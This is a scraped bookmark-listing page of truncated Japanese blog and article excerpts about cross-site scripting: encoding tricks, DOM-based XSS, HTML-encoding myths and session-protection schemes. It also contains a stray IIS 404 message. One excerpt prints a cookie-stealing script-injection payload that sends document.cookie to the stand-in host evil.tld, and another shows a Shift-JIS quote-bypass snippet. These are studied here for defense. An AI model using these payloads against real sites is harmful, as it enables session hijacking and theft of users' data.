HTML5 Security Cheatsheet - 葉っぱ日記html5security - Project Hosting on Google Code HTML5 Security Cheatsheet 足りてない攻撃パターンとか日本語訳もぼちぼちとcommitしていきますので、間違いとかツッコミあったら教えてくださいませ。
IIS 7.5 详细错误 - 404.0 - Not Found
错误摘要 HTTP 错误 404.0 - Not Found 您要找的资源已被删除、已更名或暂时不可用。
2009-07-08
このネタがクロスブラウザでできるとは思っていませんでした。すｇぇ。UTF-16の動的コンテンツにおけるXSS也。 先日出題した詰めXSSの回答編の第一回です。文字列禁止一歩手前でJavaScriptを動かしてみようというネタです。記号としては「=」だけでcookie取得ぐらいならしてみようかと。時間がないので少しずつという罠。 今回は私が考えておいたひとつの回答例を説明するためのパーツを一部分。cookieを取得する部分の考え方です。これを後で加工して使う予定です。 document.documentElement.firstChild.appendChild(document.createElement('script')).src='\/\/evil.tld\/dummy.js?q='+encodeURIComponent(document.cookie)コードに多少手打ち間違いがあっ
alert(0)されたら - hoshikuzu | star_dust の書斎
XSS (Cross Site Scripting) Cheat Sheetなど、いろいろあるXSS対策まとめページで、しばしば、alert('XSS')の方法の変種について書いてあります。このページでも同様で、String.fromCharCodeを使えば、悪意ある文字列を仕込むときに引用符を使わなくてもいいじゃん？みたいなことが書いてあります。このほか、/xss/.sourceを使えるとかの解説も世に多いわけです。 でもちょっと待って！alert(/XSS/.source)や、alert(String.fromCharCode(88,83,83))などのバリエーションなぞ、本物の攻撃者はあんまり使わないんじゃないかな？どうです？…というのは、alert(0)が出来たらそれで終わりじゃないの？という気がするからです。文字列をalertじゃなくて、数字がalertできたらほとんど攻撃成立じ
そのやり方でクロスサイトスクリプティング対策は完全ですか？
何かと物騒なニュースの多いWebアプリケーションのセキュリティ。 特にクロスサイトスクリプティング脆弱性（以下「クロスサイトスクリプティング」といいます）は、対策が難しいだけでなく、セッションハイジャックなどを組み合わせることで他のユーザーの情報を得られるなど攻撃者にとっての メリットも大きく、攻撃は増加の一途をたどっています。 クロスサイトスクリプティングとは？ クロスサイトスクリプティングとは、悪意のあるコードがWebサイトの訪問者のブラウザに送られてしまう脆弱性のことをいいます。 クロスサイトスクリプティング自体でも、ブラウザを強制的に停止させるなどの実害を訪問者に与えることができますが、もっと怖いことは、訪問者のクッキーなどを盗み出し、 ログイン状態を擬似的に作り出して、個人情報やクレジットカード番号など、重要な情報が盗まれる可能性があるという事実です。 プログラマがしっかりすれば
文字コードとXSS - おおいわのこめんと(2005-12-26)
■ [Security] 文字コードとXSS (書きかけ) 例によってセキュリティホールmemoより。厄介ですねぇ……。 キチンと全文書に文字コード指定をしておく マイナーな文字コードで送信するときは、対応環境と影響を考えておく。 不安なら ASCII 完全上位互換の文字コード (ASCII の有効バイトは常に ASCII と同じ意味を持つ EUC-JP、UTF-8 など) を使う。 cross-site injection で META が埋め込めるとかは論外。 位は比較的簡単だし、やっておかないといけないかな。 で、ちょっと気になっているのとしては、とりあえず、UTF-7 はやばやばなのは明らかとして、 ISO-2022-* への派生している議論はちょっとずれている気がしている。 とりあえず、 Bugzilla.jp の 4868: ASCIIと互換性のない文字コードはユーザーの指定で
あまり知られていない脆弱性：DOM Based XSSにご用心｜アークウェブのブログ
こんにちは、SEの進地です。 XSS（Cross Site Scripting）脆弱性の中であまり注意を払われていないタイプにDOM Based XSSというものがあります。アナウンス自体は随分と昔から行われており、webappsec.orgでも2005/7/4にAmit Klein氏が"DOM Based Cross Site Scripting or XSS of the Third Kind"を発表しています。 Web 2.0的アプリなどでのAjaxの普及でJavaScriptが多用される現在のWeb開発では、DOM Based XSSが入り込む可能性は従来よりも高まっています。そこで、今回はこのDOM Based XSSについて説明しようと思います。 DOM Based XSSとは何か？ 一般的にXSS脆弱性と聞いて思い浮かべるのは、攻撃者の悪意ある入力データ（JavaScript
まだまだあるクロスサイト・スクリプティング攻撃法
前回はクロスサイト・スクリプティングのぜい弱性を突く攻撃の対策としてのHTMLエンコードの有効性を述べた。ただ，HTMLエンコードだけではクロスサイト・スクリプティング攻撃を完全に防御することはできない。そこで今回は，HTMLエンコードで対処できないタイプのクロスサイト・スクリプティング攻撃の手口と，その対策について解説する。 HTMLエンコードで対処できない攻撃には，次のようなものがある。 タグ文字の入力を許容している場合（Webメール，ブログなど） CSS（カスケーディング・スタイルシート）の入力を許容している場合（ブログなど） 文字コードを明示していないケースでUTF-7文字コードによるクロスサイト・スクリプティング <SCRIPT>の内容を動的に生成している場合 AタグなどのURLを動的に生成している場合注） 以下では，HTMLタグやCSSの入力を許容している場合と，文字コードを明
対策遅らせるHTMLエンコーディングの「神話」
クロスサイト・スクリプティングという言葉は元々，WebアプリケーションのHTMLエンコード漏れなどを利用することによって第三者にJavaScriptを実行させる手法を指す。広義では，HTMLのエンコードによる画面改変などを含むこともある。 前回述べたように，クロスサイト・スクリプティングのぜい弱性はWebアプリケーションに見付かるぜい弱性の半分以上を占める。数年前から指摘されているにもかかわらず，一向になくならない。その理由として，クロスサイト・スクリプティング対策あるいはHTMLエンコード注1）に対する「神話」があり，正しい対策の普及を遅らせているように思う。その「神話」の数々について説明しよう。 注1）実体参照（entity reference）というのが正式だが，あまり普及していない用語なので，HTMLエンコードという用語を用いる 「すべからくHTMLエンコードすべし」が鉄則 HTM
文字参照とエンコードとエスケープ | 水無月ばけらのえび日記
注1）実体参照（entity reference）というのが正式だが，あまり普及していない用語なので，HTMLエンコードという用語を用いる (～中略～) HTMLエンコードというのは，例えば「&」「<」「>」「"」といった，HTMLとして特殊な意味を持つ文字（特殊文字またはメタ文字）を，意味を持たない別の文字列に置換することである。 この注釈はいらないでしょう。「メタ文字を、意味を持たない別の文字列に置換すること」を実体参照とは言いません。もちろん HTML の仕様には「HTMLエンコード」などという言葉は出てきませんが、ここではサーバ側での変換処理のことを呼んでいるわけですから、無理に SGML/XML の仕様で使われている用語に置き換えようとする必要は無いはずです。 ただ、「HTMLエンコード」という言い方は、Microsoft 製品に親しみのない人には違和感があるかもしれません。AS
クロスドメインでのデータ読み込みを防止するJavaScript ? - snippets from shinichitomita’s journal
GMailのコンタクトリスト漏洩のエントリのついでに。 JSONデータをscriptタグにのせて配信するサービス（JSONPなど）で、限られたサイトのみにしかそのデータを配信しないようにするためには、クライアントが送出してくるリファラ情報を使ってサービスコンシューマとなっているサイトを特定してアクセス制御する方法がある。 この方法はおそらく大部分のクライアント（ブラウザ）に対しては有効で、例えば実際にGoogle MapsなどもそれとAppKeyを組み合わせてサイトを判別しているっぽいのだけど、意図的にリファラ送出を切っているブラウザであったり、あるいはプロキシプログラムなどが自動的にリファラヘッダを除去してしまうようなクライアント環境に対しては無効になってしまう。 ということで、そんなクライアントでもなんとかならないだろうかと考えていたときにちょっと思いついた、もしかしたらこの方法なら許
Kazuho@Cybozu Labs: Re: SessionSafe: Implementing XSS Immune Session Handling
« キーワード抽出のススメ (Lingua::JA::Summarize がアップデート) | メイン | Japanize 拡張機能バージョン 0.8 リリースのおしらせ » 2007年03月28日 Re: SessionSafe: Implementing XSS Immune Session Handling SessionSafe というウェブアプリケーションの実装方式が提案されていることを知りました (via. T.Teradaの日記) 。要点をまとめると、３種類の手法を組み合わせることで、XSS 脆弱性があったとしても、同一サービスの他のページの詐取を防止しようという試み。 1) セッションID管理専用のサブドメイン 2) XSS から窃取・改ざんできない URL 3) ページごとにサブドメインを切り替える で、提案者が「議論するんじゃなくて攻撃してみてよ :)」とおっしゃって
T.Teradaの日記 - SessionSafe: Implementing XSS Immune Session Handling
SessionSafeは、ハンブルグ大学のMartin Johnsさんが書いたWeb APの方式案です。 もしWeb APにXSS脆弱性があって、これが攻撃されたとしても、 セッションIDが盗まれない 当該ページ以外の情報が窃取・改竄されない ことを目指しています。 面白いなーと思ったので、内容について少し書きます。 なお、元記事を高速斜め読みしたので、この日記の内容には間違いが含まれているかもしれません。興味のある方は原本を見てください。 セッションIDが盗まれない 以下の二つのドメインがあるとします。 www.example.com secure.example.com セッションIDのCookieは、secureサブドメインに発行します。 Webページを表示する際はwww.example.comのURLにアクセスします。そこで返すHTMLに色々と仕掛けを施します。 HTMLの仕掛け
19. マルチバイト文字とXSS脆弱性
比較的新しい攻撃方法に、不完全なマルチバイト文字列を送信することでHTMLに 記述されているクォートを無効化する方法があります。この攻撃はHTML エス ケープのみでは防げない事に注意が必要です。では、どのように対策をすれば良 いのでしょうか？ まずは、不完全なマルチバイト文字を利用してクォート（"）を無効化できるこ とを確認しましょう。次のスクリプトをブラウザから実行して下さい（最後の ダブルクォテーションとPHPタグの間にスペースを入れないで下さい）。 <?php $str = urldecode('%81'); header('Content-Type: text/html; charset=SJIS'); ?> <?php echo htmlentities($str, ENT_QUOTES, 'SJIS') ?>" コードが分かりづらいので注意してください。PHPタグを２つに大別
第2回 Webブラウザが乗っ取られ，犯罪者の支配下に
Web 2.0という言葉で総称される新たなインターネット時代。Webサイトやエンドユーザーに仕掛けられる攻撃もまた，2.0と呼ぶべき進化を遂げようとしている。攻撃者はWeb 2.0の中核技術であるJavaScriptを悪用してブラウザを狙う。第2回目となる今回は，今そこにある危機に迫る。 Zone-Hの場合，犯人は自己顕示を目的としていたため，被害はページ改ざん程度で済んだ。しかし，犯罪者の狙い次第で危険度はもっと高まる（図3）。 図3●XSSのぜい弱性を突くことで可能になる攻撃 キー入力の盗難や他サイトへの攻撃などユーザーが知らないうちに，背後での攻撃が可能になる。 [画像のクリックで拡大表示] 例えば銀行や証券会社のWebサイトにXSSの穴があれば，クッキーを盗まれ，不正送金などにつながるかもしれない。盗んだクッキーを使って業務で使用しているWebメールを盗み見られれば，開発や営業の資
エラーメッセージの危険性
※ご注意 他社および他組織のWebサイトなどへのポートスキャンおよびデータの取得などの行為で得た情報を侵入などに悪用するか、または同じ目的を持つ第三者に提供した時点で違法となります。ご注意ください。 本稿の内容を検証する場合は、必ず影響を及ぼさない限られた環境下で行って下さい。 また、本稿を利用した行為による問題に関しましては、筆者および株式会社アットマーク・アイティは一切責任を負いかねます。ご了承ください。 完璧なアプリケーションをいきなり作り上げられる人はまずいないだろう。多くの人はアプリケーション中にデバッグ用のメッセージやコメントを残しながら開発を進めていくことになる。またユーザーにとって重要なのがエラーメッセージである。エラーメッセージを頼りにアプリケーションを利用していく。しかし、ユーザーにとって有用な情報なのだが、同様に攻撃者にも有用な情報を与えてしまうことにもなることがある
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Rauru Blog » Blog Archive » SNMP で XSS
JavaScript XSS Scanner
Services for Security
http://www15.plala.or.jp/tera5/pdf/security/char_xss1.pdf